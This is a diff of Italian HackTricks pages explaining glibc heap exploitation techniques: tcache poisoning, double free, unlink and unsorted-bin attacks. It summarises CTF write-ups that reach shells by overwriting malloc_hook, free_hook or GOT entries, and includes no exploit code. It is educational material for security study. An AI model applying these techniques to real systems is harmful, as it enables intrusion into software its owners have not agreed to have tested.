* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
Diverse delle tecniche di sfruttamento dell'heap proposte richiedono di poter sovrascrivere i puntatori all'interno di chunk liberati. Lo scopo di questa pagina è riassumere le potenziali vulnerabilità che potrebbero concedere questo accesso: Diverse delle tecniche di sfruttamento dell'heap proposte richiedono la capacità di sovrascrivere puntatori all'interno di chunk liberati. Lo scopo di questa pagina è riassumere le potenziali vulnerabilità che potrebbero concedere questo accesso:
### Semplice Use After Free ### Semplice Uso Dopo la Libera
Se è possibile per l'attaccante **scrivere informazioni in un chunk libero**, potrebbe sfruttarlo per sovrascrivere i puntatori necessari. Se è possibile per l'attaccante **scrivere informazioni in un chunk libero**, potrebbe sfruttarlo per sovrascrivere i puntatori necessari.
### Doppio Free ### Doppia Libera
Se l'attaccante può **`free` due volte lo stesso chunk** (liberare altri chunk nel mezzo potenzialmente) e far sì che sia **2 volte nello stesso bin**, sarebbe possibile per l'utente **allocare il chunk successivamente**, **scrivere i puntatori necessari** e poi **allocarlo di nuovo** attivando le azioni dell'allocazione del chunk (ad es. attacco al fast bin, attacco al tcache...) Se l'attaccante può **`free` due volte lo stesso chunk** (liberare altri chunk nel mezzo potenzialmente) e farlo essere **2 volte nello stesso bin**, sarebbe possibile per l'utente **allocare il chunk successivamente**, **scrivere i puntatori necessari** e poi **allocarlo di nuovo** innescando le azioni dell'allocazione del chunk (es. attacco al fast bin, attacco al tcache...)
### Overflow dell'Heap ### Sfondamento dell'Heap
Potrebbe essere possibile **sovraffluire un chunk allocato avendo successivamente un chunk liberato** e modificare alcuni header/puntatori di esso. Potrebbe essere possibile **sforare un chunk allocato avendo successivamente un chunk liberato** e modificare alcuni header/puntatori di esso.
### Sovrafflusso di uno ### Sfondamento di uno in più
In questo caso sarebbe possibile **modificare la dimensione** del chunk successivo in memoria. Un attaccante potrebbe sfruttare questo per **far sì che un chunk allocato abbia una dimensione maggiore**, quindi **`free`**arlo, facendo sì che il chunk venga **aggiunto a un bin di una dimensione diversa** (più grande), quindi allocare la **dimensione falsa**, e l'attacco avrà accesso a un **chunk con una dimensione maggiore** di quella reale, **concedendo quindi una situazione di sovrapposizione di chunk**, che è sfruttabile allo stesso modo di un **overflow dell'heap** (controlla la sezione precedente). In questo caso sarebbe possibile **modificare la dimensione** del chunk successivo in memoria. Un attaccante potrebbe sfruttare questo per **far sì che un chunk allocato abbia una dimensione maggiore**, quindi **`free`**arlo, facendo sì che il chunk venga **aggiunto a un bin di una dimensione diversa** (più grande), quindi allocare la **dimensione falsa**, e l'attacco avrà accesso a un **chunk con una dimensione maggiore** di quella reale, **concedendo quindi una situazione di sovrapposizione di chunk**, che è sfruttabile allo stesso modo di uno **sfondamento dell'heap** (controlla la sezione precedente).
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Attacco al Bin di Tcache # Attacco al Bin di Tcache
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -24,7 +25,7 @@ Per ulteriori informazioni su cosa sia un bin di Tcache, controlla questa pagina
Innanzitutto, nota che il Tcache è stato introdotto nella versione 2.26 di Glibc. Innanzitutto, nota che il Tcache è stato introdotto nella versione 2.26 di Glibc.
L'**attacco al Tcache** (noto anche come **Tcache poisoning**) proposto nella [**pagina guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) è molto simile all'attacco al fast bin dove l'obiettivo è sovrascrivere il puntatore al chunk successivo nel bin all'interno di un chunk liberato con un indirizzo arbitrario in modo da **allocare successivamente quell'indirizzo specifico e sovrascrivere potenzialmente i puntatori**. L'**attacco Tcache** (noto anche come **Tcache poisoning**) proposto nella [**pagina guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) è molto simile all'attacco fast bin dove l'obiettivo è sovrascrivere il puntatore al prossimo chunk nel bin all'interno di un chunk liberato con un indirizzo arbitrario in modo da **allocare successivamente quell'indirizzo specifico e sovrascrivere potenzialmente i puntatori**.
Tuttavia, al giorno d'oggi, se esegui il codice menzionato, otterrai l'errore: **`malloc(): unaligned tcache chunk detected`**. Quindi, è necessario scrivere come indirizzo nel nuovo puntatore un indirizzo allineato (o eseguire abbastanza volte il binario in modo che l'indirizzo scritto sia effettivamente allineato). Tuttavia, al giorno d'oggi, se esegui il codice menzionato, otterrai l'errore: **`malloc(): unaligned tcache chunk detected`**. Quindi, è necessario scrivere come indirizzo nel nuovo puntatore un indirizzo allineato (o eseguire abbastanza volte il binario in modo che l'indirizzo scritto sia effettivamente allineato).
@ -36,24 +37,37 @@ Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **qua
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html) * CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
* **Leak di informazioni su Libc**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dalla lista non ordinata** sovrascrivendo solo i primi 8B, lasciando **intatto il secondo indirizzo a libc dal chunk in modo da poterlo leggere**. * **Leak di informazioni su Libc**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dalla lista non ordinata** sovrascrivendo solo i primi 8B, lasciando **intatto il secondo indirizzo a libc dal chunk in modo da poterlo leggere**.
* **Attacco al Tcache**: Il binario è vulnerabile a un overflow di heap di 1B. Questo sarà sfruttato per cambiare l'**intestazione di dimensione** di un chunk allocato rendendola più grande. Quindi, questo chunk verrà **liberato**, aggiungendolo al tcache dei chunk della dimensione falsa. Poi, verrà allocato un chunk con la dimensione falsificata e il chunk precedente verrà **restituito sapendo che questo chunk era effettivamente più piccolo** e ciò offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\ * **Attacco Tcache**: Il binario è vulnerabile a un overflow di heap di 1B. Questo verrà sfruttato per cambiare l'**intestazione di dimensione** di un chunk allocato rendendola più grande. Quindi, questo chunk verrà **liberato**, aggiungendolo al tcache dei chunk della dimensione falsa. Successivamente, verrà allocato un chunk con la dimensione falsificata e il chunk precedente verrà **restituito sapendo che questo chunk era effettivamente più piccolo** e ciò offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\
Questo sarà sfruttato per **sovrascrivere il puntatore FD del prossimo chunk** per puntare a **`malloc_hook`**, quindi sarà possibile allocare 2 puntatori: prima il puntatore legittimo appena modificato e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile sfruttare per scrivere un **one gadget**. Questo verrà sfruttato per **sovrascrivere il puntatore FD del prossimo chunk** per farlo puntare a **`malloc_hook`**, quindi sarà possibile allocare 2 puntatori: prima il puntatore legittimo appena modificato e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile sfruttare per scrivere un **one gadget**.
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html) * CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
* **Leak di informazioni su Libc**: C'è un uso dopo la liberazione e una doppia liberazione. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un bin piccolo (come se lo stesse facendo trapelare dal bin non ordinato ma da quello piccolo) * **Leak di informazioni su Libc**: C'è un uso dopo la liberazione e una doppia liberazione. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un bin piccolo (come se lo stesse facendo trapelare dal bin non ordinato ma da quello piccolo)
* **Attacco al Tcache**: Viene eseguito un Tcache tramite una **doppia liberazione**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Quindi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e quindi viene allocato di nuovo in modo che il prossimo chunk nella lista sarà nel free hook. Poi, anche questo viene allocato ed è possibile scrivere l'indirizzo di `system` qui in modo che quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell. * **Attacco Tcache**: Viene eseguito un Tcache tramite una **doppia liberazione**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Successivamente, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e quindi viene allocato di nuovo in modo che il prossimo chunk nella lista sarà nel free hook. Successivamente, anche questo viene allocato ed è possibile scrivere l'indirizzo di `system` qui in modo che quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html) * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
* La principale vulnerabilità qui è la capacità di `liberare` qualsiasi indirizzo nell'heap indicandone l'offset * La principale vulnerabilità qui è la capacità di `liberare` qualsiasi indirizzo nell'heap indicandone l'offset
* **Attacco agli indici di Tcache**: È possibile allocare e liberare un chunk di una dimensione tale che quando viene memorizzato all'interno del chunk tcache (il chunk con le informazioni dei bin di tcache) genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk su ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100. * **Attacco agli indici di Tcache**: È possibile allocare e liberare un chunk di una dimensione tale che quando viene memorizzato all'interno del chunk di tcache (il chunk con le informazioni dei bin di tcache) genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk su ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100.
* Quindi, questo valore sembra che ci sia un chunk di dimensione 0x100. Consentendo di sfruttarlo liberando questo indirizzo. Questo aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache. * Quindi, questo valore sembra che ci sia un chunk di dimensione 0x100. Consentendo di sfruttarlo liberando questo indirizzo. Questo aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache.
* Quindi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, consentendo di sovrascrivere altri indici di tcache.\ * Quindi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, consentendo di sovrascrivere altri indici di tcache.\
Ad esempio mettendo l'indirizzo di malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice permetterà di ottenere un chunk in calloc hook, che consente di scrivere un one gadget per ottenere una shell. Ad esempio mettendo l'indirizzo di malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice permetterà di ottenere un chunk in calloc hook, che consente di scrivere un one gadget per ottenere una shell.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html) * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
* Stessa vulnerabilità di prima con una restrizione aggiuntiva * Stessa vulnerabilità di prima con un'ulteriore restrizione
* **Attacco agli indici di Tcache**: Attacco simile al precedente ma con meno passaggi liberando il chunk che contiene le informazioni del tcache in modo che il suo indirizzo venga aggiunto all'indice del tcache della sua dimensione in modo da poter allocare quella dimensione e ottenere le informazioni del chunk tcache come un chunk, consentendo di aggiungere free hook come l'indirizzo di un indice, allocarlo e scrivere un one gadget su di esso. * **Attacco agli indici di Tcache**: Attacco simile al precedente ma con meno passaggi liberando il chunk che contiene le informazioni del tcache in modo che il suo indirizzo venga aggiunto all'indice del tcache della sua dimensione in modo da poter allocare quella dimensione e ottenere le informazioni del tcache come un chunk, che consente di aggiungere free hook come l'indirizzo di un indice, allocarlo e scrivere un one gadget su di esso.
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) * [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
* **Write After Free** per aggiungere un numero al puntatore `fd`. * **Write After Free** per aggiungere un numero al puntatore `fd`.
* È necessario molto **heap feng-shui** in questa sfida. Il writeup mostra come **controllare la testa della lista libera di Tcache** sia molto utile. * È necessario molto **heap feng-shui** in questa sfida. Il writeup mostra come **controllare la testa della lista libera di Tcache** sia molto utile.
* **Leak di Glibc** attraverso `stdout` (FSOP). * **Leak di Glibc** attraverso `stdout` (FSOP).
* **Tcache poisoning** per ottenere un primitivo di scrittura arbitrario. * **Tcache poisoning** per ottenere un primitivo di scrittura arbitrario.
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e a** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **su GitHub.** {% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Attacco Unlink # Attacco Unlink
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -132,20 +133,21 @@ Poiché potenzialmente l'utente può leggere/scrivere anche le altre allocazioni
* Esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html) * Esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* In questo esempio, invece dello stack c'è un array di indirizzi malloc'ati. L'attacco di unlink viene eseguito per poter allocare un chunk qui, quindi poter controllare i puntatori dell'array di indirizzi malloc'ati. Successivamente, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare gli indirizzi alla GOT, modificare gli indirizzi delle funzioni per ottenere leak di libc e RCE. * In questo esempio, invece dello stack c'è un array di indirizzi malloc'ati. L'attacco di unlink viene eseguito per poter allocare un chunk qui, quindi poter controllare i puntatori dell'array di indirizzi malloc'ati. Successivamente, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare gli indirizzi alla GOT, modificare gli indirizzi delle funzioni per ottenere leak di libc e RCE.
* Altro esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html) * Altro esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco di unlink per far sì che l'indirizzo della prima allocazione punti a poche posizioni prima dell'inizio dell'array e sovrascrivere quindi questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare alla GOT di atoi, stamparla per ottenere un leak di libc e quindi sovrascrivere la GOT di atoi con l'indirizzo di un one gadget. * Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco di unlink per far sì che l'indirizzo della prima allocazione punti a poche posizioni prima dell'inizio dell'array e sovrascrivere questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare alla GOT di atoi, stamparla per ottenere un leak di libc e quindi sovrascrivere la GOT di atoi con l'indirizzo di un one gadget.
* Esempio di CTF con funzioni malloc e free personalizzate che sfruttano una vulnerabilità molto simile all'attacco di unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) * Esempio di CTF con funzioni malloc e free personalizzate che sfruttano una vulnerabilità molto simile all'attacco di unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* C'è un overflow che consente di controllare i puntatori FD e BK del malloc personalizzato che verrà liberato (personalizzato). Inoltre, l'heap ha il bit exec, quindi è possibile estrarre un indirizzo dell'heap e puntare una funzione dalla GOT a un chunk dell'heap con un codice shell per eseguire. * C'è un overflow che consente di controllare i puntatori FD e BK del malloc personalizzato che verrà liberato (personalizzato). Inoltre, l'heap ha il bit exec, quindi è possibile estrarre un indirizzo dell'heap e puntare una funzione dalla GOT a un chunk dell'heap con un codice shell per eseguire.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Attacco al Bin non ordinato # Attacco al Bin non ordinato
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -22,14 +23,14 @@ Per ulteriori informazioni su cosa sia un bin non ordinato, controlla questa pag
[bins-and-memory-allocations.md](bins-and-memory-allocations.md) [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %} {% endcontent-ref %}
Le liste non ordinate sono in grado di scrivere l'indirizzo in `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno del bin non ordinato, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario** che potrebbe essere utile per ottenere un indirizzo Glibc o bypassare alcune difese. Le liste non ordinate sono in grado di scrivere l'indirizzo a `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno del bin non ordinato, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario** che potrebbe essere utile per ottenere un indirizzo Glibc o bypassare alcune difese.
Quindi, fondamentalmente, questo attacco consente di **impostare un grande numero in un indirizzo arbitrario**. Questo grande numero è un indirizzo, che potrebbe essere un indirizzo di heap o un indirizzo Glibc. Un obiettivo tipico è **`global_max_fast`** per consentire la creazione di bin veloci con dimensioni maggiori (e passare da un attacco bin non ordinato a un attacco bin veloce). Quindi, fondamentalmente, questo attacco consente di **impostare un grande numero in un indirizzo arbitrario**. Questo grande numero è un indirizzo, che potrebbe essere un indirizzo di heap o un indirizzo Glibc. Un obiettivo tipico è **`global_max_fast`** per consentire la creazione di bin veloci con dimensioni maggiori (e passare da un attacco al bin non ordinato a un attacco al bin veloce).
{% hint style="success" %} {% hint style="success" %}
